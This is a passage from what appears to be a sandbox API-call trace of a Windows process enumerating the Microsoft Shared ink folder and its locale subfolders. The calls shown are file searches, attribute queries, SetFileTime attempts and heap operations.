fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.828] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.828] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9a20 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0047.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.828] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.829] GetLastError () returned 0x12 [0047.829] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.829] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.829] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.829] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.829] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.829] GetLastError () returned 0x12 [0047.829] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.829] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.829] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.829] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.829] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0047.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.846] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.846] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.846] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.846] NtClose (Handle=0x17c) returned 0x0 [0047.846] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.847] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.847] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.847] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9a40 [0047.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0047.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.847] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.847] GetLastError () returned 0x12 [0047.847] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.847] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.847] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.847] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.847] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.847] GetLastError () returned 0x12 [0047.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.848] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.848] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0047.848] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0047.848] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0047.848] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0047.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.848] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.848] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.848] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.848] NtClose (Handle=0x170) returned 0x0 [0047.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.849] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.849] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.849] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9a60 [0047.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0047.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.849] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.849] GetLastError () returned 0x12 [0047.849] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.849] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.849] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.849] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.849] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.849] GetLastError () returned 0x12 [0047.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.850] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: 